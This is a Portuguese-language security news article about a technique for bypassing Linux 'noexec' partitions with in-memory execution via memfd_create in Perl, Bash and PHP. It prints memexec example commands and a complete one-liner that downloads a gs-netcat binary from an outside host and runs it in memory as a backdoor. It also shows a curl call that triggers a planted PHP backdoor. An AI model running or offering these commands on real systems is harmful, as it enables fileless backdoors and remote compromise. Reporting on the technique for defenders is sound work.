Pesquisadores de segurança descobriram uma técnica inovadora que permite que invasores contornem o sinalizador ‘noexec’ em sistemas Linux, uma medida de segurança projetada para impedir a execução de arquivos binários em determinadas partições. Com esse novo método, a execução de código malicioso em partições configuradas para bloquear esse tipo de ação agora é possível, abrindo uma porta perigosa para ataques cibernéticos em larga escala.
O sinalizador ‘noexec’ é amplamente utilizado em sistemas Linux como uma camada essencial de proteção. Ele impede que arquivos executáveis sejam rodados em partições específicas, como /tmp ou /dev/shm, frequentemente utilizadas por invasores para carregar malware. Essa medida visa criar uma barreira adicional contra a execução arbitrária de código, dificultando a capacidade de invasores comprometerem o sistema. No entanto, o novo método revela uma forma de ultrapassar essa defesa.
O método recentemente descoberto se aproveita de uma combinação engenhosa de scripts em Perl, Bash e PHP para contornar as proteções impostas pelo ‘noexec’. Ele usa chamadas de sistema como memfd_create e execveat para injetar código diretamente na memória, evitando a necessidade de gravar arquivos executáveis em disco, o que seria bloqueado pelas partições com ‘noexec’. Essencialmente, o código é carregado diretamente na memória e executado sem que o sistema perceba.
O que torna essa técnica particularmente alarmante é o fato de não exigir privilégios de administrador (root). Isso significa que usuários comuns, ou mesmo atacantes sem acesso elevado, podem explorar a vulnerabilidade, tornando uma gama muito maior de sistemas suscetíveis ao ataque.
Os pesquisadores demonstraram a eficácia dessa técnica em cenários do mundo real. Utilizando scripts simples, eles conseguiram executar comandos comuns, como id
, sem privilégios de root, mesmo em partições onde ‘noexec’ estava habilitado. Abaixo está um exemplo de como o método pode ser usado em Perl e Bash:
Em Perl:
memexec-perl.sh
cat /usr/bin/id | memexec -u
Em Bash:
memexec-bash.sh
cat /usr/bin/id | memexec
Esses exemplos mostram que, mesmo sem permissões de root, é possível executar binários armazenados na internet, contornando completamente as restrições impostas pelo ‘noexec’. Além disso, os pesquisadores mostraram como o método pode ser usado para baixar e executar cargas maliciosas (payloads) de servidores remotos com comandos simples.
Um exemplo de um comando perigoso, que baixa e executa um payload diretamente da internet, poderia ser o seguinte:
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | GS_ARGS="-ilDq -s ChangeMe" perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"
Esse comando permite que o invasor injete um backdoor diretamente na memória do sistema, mesmo quando as partições estão protegidas com o sinalizador ‘noexec’, evitando o carregamento de binários no disco.
A vulnerabilidade descoberta levanta sérias preocupações sobre a eficácia das proteções tradicionais, como o ‘noexec’, contra ataques sofisticados. Como o método não requer privilégios elevados, ele amplia o escopo de possíveis atacantes, tornando qualquer sistema Linux que utilize essas medidas de proteção um alvo potencial.
Além disso, essa técnica também afeta ambientes que utilizam scripts em PHP, que são comumente executados em servidores web. Ao alavancar scripts PHP semelhantes, é possível realizar a execução remota de código, representando uma séria ameaça para sistemas web que confiam no ‘noexec’ para proteger seus dados.
Por exemplo, um invasor pode carregar o script memexec.php
e um backdoor (egg) no servidor alvo. Ao chamar o seguinte comando:
curl -SsfL https://target/memexec.php
O backdoor seria executado, comprometendo o sistema sem levantar alertas.
Os pesquisadores continuam analisando a profundidade dessa vulnerabilidade e seu impacto em diversas distribuições Linux. Para mitigar os riscos, eles recomendam a implementação de medidas adicionais de segurança, como:
Adicionalmente, administradores de sistemas devem manter seus ambientes Linux sempre atualizados com os patches mais recentes, além de monitorar ativamente qualquer atividade suspeita que envolva downloads ou execuções de código em partições ‘noexec’.
Falha permite que invasores manipulem o agente de um usuário por meio de um problema…
Um exploit de dia zero, dirigido aos firewalls FortiGate da Fortinet, foi descoberto à venda…
A família SHELBY mostra um exemplo preocupante de malware moderno com design modular, sofisticado e…
Hackers estão explorando o diretório mu-plugins do WordPress para injetar códigos maliciosos que não aparecem…
O Google implementou uma nova funcionalidade de "Detecção de Golpes" com inteligência artificial no aplicativo…
O grupo APT28, ligado à Rússia, está utilizando técnicas avançadas de ofuscação em seus ataques…